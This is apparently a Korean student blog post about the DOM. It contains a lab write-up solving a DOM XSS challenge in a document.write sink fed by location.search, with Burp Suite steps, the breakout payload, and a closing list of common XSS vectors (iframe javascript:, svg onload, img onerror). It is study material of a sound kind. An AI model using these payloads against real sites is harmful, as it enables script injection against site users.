[1주차전체세션]2023_2_EVI$ION

지선·2023년 9월 20일

이비전

목록 보기
9/10

JavaScript의 DOM 객체

DOM이란?

Document Object Model의 약자이며, 웹 페이지(HTML이나 XML 문서)의 모든 요소를 구조화해서 프로그래밍 언어가 문서에 접근하여 읽고 조작할 수 있도록 하는 인터페이스이다.
문서의 구조화된 표현이 특징이다.

gpt에게 물어본 결과다.

따봉 gpt야 고마워!

DOM XSS in document.write sink using source location.search


이 문제를 풀어보도록 하자.


우선 패킷을 burp suite를 통해 잡아주었다.
그리고 이것을 repeater로 보내준 후

response를 통해 js를 살펴주었다.
문제에서 document.wirte, location.search라는 키워드가 나와서 검색해보니

img 태그와 함께 query를 받아오는 듯 했다.

그래서 query에 ">로 먼저 img 태그를 닫아주고,

<iframe src="javascript:alert(1)

iframe 태그를 통해 alert(1)을 발생시켰다.

결론적으로는

document.wirte('<img src="/resources/images/tracker.gif?searchTerms='
"><iframe src="javascript:alert(1)
'">');

이렇게 된 것이다.

업로드중..
그러면 이렇게 alert(1)이 잘 발생하고 문제가 해결이 된다.

xss 공격에 많이 쓰이는 공격 구문

  1. iframe src="javascript:하고싶은 구문"
  2. img src="링크" onerror ""
  3. svg onload
<iframe src="javascript:alert(1)"> 
//alert(1) 발생시킬 수 있음

<svg onload=alert(1)>
//alert(1) 함수 요청

<img src="" onerror=alert(1)>
//src가 잘못되었을 때 onerror가 실행
  
profile
긍정왕되기

0개의 댓글